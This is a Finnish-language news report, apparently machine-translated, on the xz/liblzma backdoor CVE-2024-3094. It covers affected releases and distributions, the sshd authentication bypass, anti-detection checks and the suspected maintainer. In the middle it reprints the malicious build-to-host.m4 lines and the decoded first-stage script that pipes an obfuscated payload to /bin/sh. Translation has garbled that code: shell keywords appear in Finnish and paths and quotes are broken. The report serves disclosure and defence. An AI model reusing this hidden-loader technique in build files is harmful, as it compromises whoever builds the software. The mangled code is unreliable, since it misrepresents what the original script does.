xz/liblzma-kirjastosta löydettiin takaovi, joka mahdollistaa pääsyn sshd:n kautta

XZ Utils -pakettiin, joka sisältää liblzma-kirjaston ja apuohjelmat ".xz"-muodossa olevien pakattujen tietojen käsittelyyn, on tunnistettu takaovi (CVE-2024-3094), joka mahdollistaa siihen liittyvien sovellusten käsittelemien tietojen sieppaamisen ja muokkaamisen. liblzma-kirjaston kanssa. Takaoven pääkohde on OpenSSH-palvelin, joka joissakin jakeluissa on niputettu libsystemd-kirjastoon, joka puolestaan ​​käyttää liblzmaa. Sshd:n linkittäminen haavoittuvaan kirjastoon mahdollistaa hyökkääjien pääsyn SSH-palvelimeen ilman todennusta.

Takaovi oli mukana virallisissa julkaisuissa 5.6.0 ja 5.6.1, jotka julkaistiin 24. helmikuuta ja 9. maaliskuuta ja jotka onnistuivat pääsemään joihinkin jakeluihin ja arkistoihin, kuten Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide ja 40-beta, openSUSE-tehdas ja tumbleweed, LibreELEC, Alpine edge, Solus, NixOS epävakaa, OpenIndiana, OpenMandriva rolling, pkgsrc-virta, Slackware-virta, Manjaro-testaus. Kaikkia xz 5.6.0- ja 5.6.1 -julkaisujen käyttäjiä suositellaan palaamaan pikaisesti takaisin versioon 5.4.6.

Ongelmaa lieventävien tekijöiden joukossa voidaan todeta, että liblzman takaovella varustettu versio ei päässyt osaksi suurten jakelujen vakaita julkaisuja, mutta vaikutti openSUSE Tumbleweediin ja Fedora 40-betaan. Arch Linux ja Gentoo käyttivät zx:n haavoittuvaa versiota, mutta eivät ole alttiita hyökkäykselle, koska ne eivät käytä systemd-notify -korjausta openssh:hen, mikä saa sshd:n linkittämään liblzmaan. Takaovi vaikuttaa vain x86_64-järjestelmiin, jotka perustuvat Linux-ytimeen ja Glibc C -kirjastoon.

Takaoven aktivointikoodi piilotettiin m4-makroihin build-to-host.m4-tiedostosta, jota automake-työkalupakki käytti rakentaessaan. Kokoonpanon aikana toiminnan oikeellisuuden testaamiseen käytettyjen arkistoihin (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) perustuvien monimutkaisten obfusoitujen toimintojen suorittamisen aikana luotiin haitallista koodia sisältävä objektitiedosto, joka sisällytettiin liblzma-kirjaston ja muutti joidenkin sen toimintojen toimintalogiikkaa. M4-makrot, jotka aktivoivat takaoven, sisältyivät julkaisutarballiin, mutta eivät olleet Git-arkistossa. Samaan aikaan arkistossa oli haitallisia testiarkistoja, ts. henkilöllä, joka toteutti takaoven, oli pääsy sekä arkiston että julkaisun luontiprosessiin.

Kun liblzmaa käytetään sovelluksissa, haitallisia muutoksia voidaan käyttää tietojen sieppaamiseen tai muokkaamiseen tai sshd:n toimintaan vaikuttamiseen. Erityisesti haitallinen koodi huijasi RSA_public_decrypt-toiminnon ohittaakseen sshd-todennusprosessin. Takaovi sisälsi suojauksen havaitsemista vastaan, eikä se näkynyt, kun LANG- ja TERM-ympäristömuuttujat oli asetettu (eli prosessia suoritettaessa terminaalissa) ja ympäristömuuttujia LD_DEBUG ja LD_PROFILE ei asetettu, ja se aktivoitiin myös vain suoritettaessa /usr/sbin/sshd suoritettava tiedosto. Takaovella oli myös keino havaita suoritus virheenkorjausympäristöissä.

Erityisesti m4/build-to-host.m4-tiedostossa käytettiin gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Ensimmäisessä konstruktiossa grep-toiminto löysi tiedoston tests/files/bad-3-corrupt_lzma2.xz, joka, kun se purettiin, loi komentosarjan: ####Hei#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && poistu 0 [ ! $(uname) = "Linux" ] && poistu 0 [ ! $(uname) = "Linux" ] && poistu 0 [ ! $(uname) = "Linux" ] && poistu 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;hen eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi vienti i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/nolla) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raaka —lzma1 -dc|/bin/sh ####Maailma####

Sitä, kuinka hyökkääjät pääsivät xz-projektin infrastruktuuriin, ei ole vielä täysin selvitetty. Ei myöskään ole vielä selvää, kuinka monta käyttäjää ja projektia vaarantui takaoven seurauksena. Väitetty takaoven tekijä (JiaT75 - Jia Tan), joka julkaisi arkistoon haitallista koodia sisältäviä arkistoja, oli kirjeenvaihdossa Fedora-kehittäjien kanssa ja lähetti Debianille vetopyyntöjä, jotka liittyivät jakeluiden siirtoon xz 5.6.0 -haaraan, mutta ei herättää epäilyksiä, sillä hän osallistui xz:n kehittämiseen viimeiset kaksi vuotta ja on toinen kehittäjä tehtyjen muutosten määrässä. xz-projektin lisäksi takaoven väitetty kirjoittaja osallistui myös xz-java- ja xz-embedded -pakettien kehittämiseen. Lisäksi Jia Tan muutama päivä sitten sisällytettiin Linux-ytimessä käytetyn XZ Embedded -projektin ylläpitäjien joukkoon.

Haitallinen muutos havaittiin analysoituaan liiallista suorittimen kulutusta ja valgrindin aiheuttamia virheitä ssh-yhteyden kautta Debianin sid-pohjaisiin järjestelmiin. On huomionarvoista, että xz 5.6.1 -julkaisu sisälsi muutoksia, joita takaoven väitetty kirjoittaja oli valmistellut vastauksena valituksiin sshd:n hidastumisesta ja kaatumisista, jotka ilmenivät päivityksen jälkeen zx 5.6.0 -versioon takaovella. Lisäksi Jia Tan teki viime vuonna muutoksia, jotka eivät olleet yhteensopivia "-fsanitize=address"-tarkastustilan kanssa, minkä vuoksi se poistettiin käytöstä fuzz-testauksen aikana.

Lähde: opennet.ru

Lisää kommentti